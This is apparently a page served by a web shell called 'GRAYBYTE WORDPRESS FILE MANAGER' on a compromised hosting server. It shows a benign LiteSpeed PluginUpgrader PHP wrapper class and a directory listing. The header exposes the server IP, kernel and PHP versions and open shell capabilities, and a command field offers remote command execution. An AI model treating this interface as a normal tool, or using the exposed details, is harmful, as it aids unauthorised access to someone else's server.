GRAYBYTE WORDPRESS FILE MANAGER8635

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/local/lsws/add-ons/webcachemgr/src/WpWrapper/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/local/lsws/add-ons/webcachemgr/src/WpWrapper//PluginUpgrader.php
<?php

/** *********************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author    Michael Alegre
 * @copyright 2023-2025 LiteSpeed Technologies, Inc.
 * @since     1.17
 * *******************************************
 */

namespace Lsc\Wp\WpWrapper;

/**
 * https://developer.wordpress.org/reference/classes/plugin_upgrader/
 *
 * @since 1.17
 */
class PluginUpgrader
{

    /**
     * https://developer.wordpress.org/reference/classes/plugin_upgrader/
     *
     * @since 1.17
     * @var \Plugin_Upgrader
     *
     * @noinspection PhpUndefinedClassInspection
     */
    private $pluginUpgrader;

    /**
     * https://developer.wordpress.org/reference/classes/wp_upgrader/__construct/
     *
     * @since 1.17
     *
     * @param \WP_Upgrader_Skin|null $skin
     *
     * @noinspection PhpDeprecatedImplicitlyNullableParameterInspection
     * @noinspection PhpFullyQualifiedNameUsageInspection
     * @noinspection PhpUndefinedClassInspection
     * @noinspection RedundantSuppression
     */
    public function __construct( \WP_Upgrader_Skin $skin = null )
    {
        /** @noinspection PhpUndefinedClassInspection */
        $this->pluginUpgrader = new \Plugin_Upgrader($skin);
    }

    /**
     *
     * @since 1.17
     *
     * @return \Plugin_Upgrader
     *
     * @noinspection PhpUndefinedClassInspection
     */
    public function getWpPluginUpgraderObject()
    {
        return $this->pluginUpgrader;
    }

    /**
     *
     * @since 1.17
     *
     * @return array|WP_Error
     *
     * @noinspection PhpUndefinedClassInspection
     */
    public function getResult()
    {
        return $this->pluginUpgrader->result;
    }

    /**
     * https://developer.wordpress.org/reference/classes/wp_upgrader/init/
     *
     * @since 1.17
     */
    public function init()
    {
        $this->pluginUpgrader->init();
    }

    /**
     * https://developer.wordpress.org/reference/classes/plugin_upgrader/upgrade_strings/
     *
     * @since 1.17
     */
    public function upgradeStrings()
    {
        $this->pluginUpgrader->upgrade_strings();
    }

    /**
     * https://developer.wordpress.org/reference/classes/wp_upgrader/run/
     *
     * @since 1.17
     *
     * @param array $options
     *
     * @return array|false|WP_Error
     *
     * @noinspection PhpUndefinedClassInspection
     */
    public function run( array $options )
    {
        return $this->pluginUpgrader->run($options);
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
April 30 2025 22:14:03
root / root
0775
PluginUpgrader.php
2.421 KB
April 30 2025 22:14:03
root / root
0664
WpConstants.php
0.627 KB
April 30 2025 22:14:03
root / root
0664
WpFuncs.php
8.555 KB
April 30 2025 22:14:03
root / root
0664
WpQuery.php
1.034 KB
April 30 2025 22:14:03
root / root
0664
WpTextdomainRegistry.php
1.017 KB
April 30 2025 22:14:03
root / root
0664
Wpdb.php
1.111 KB
April 30 2025 22:14:03
root / root
0664

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF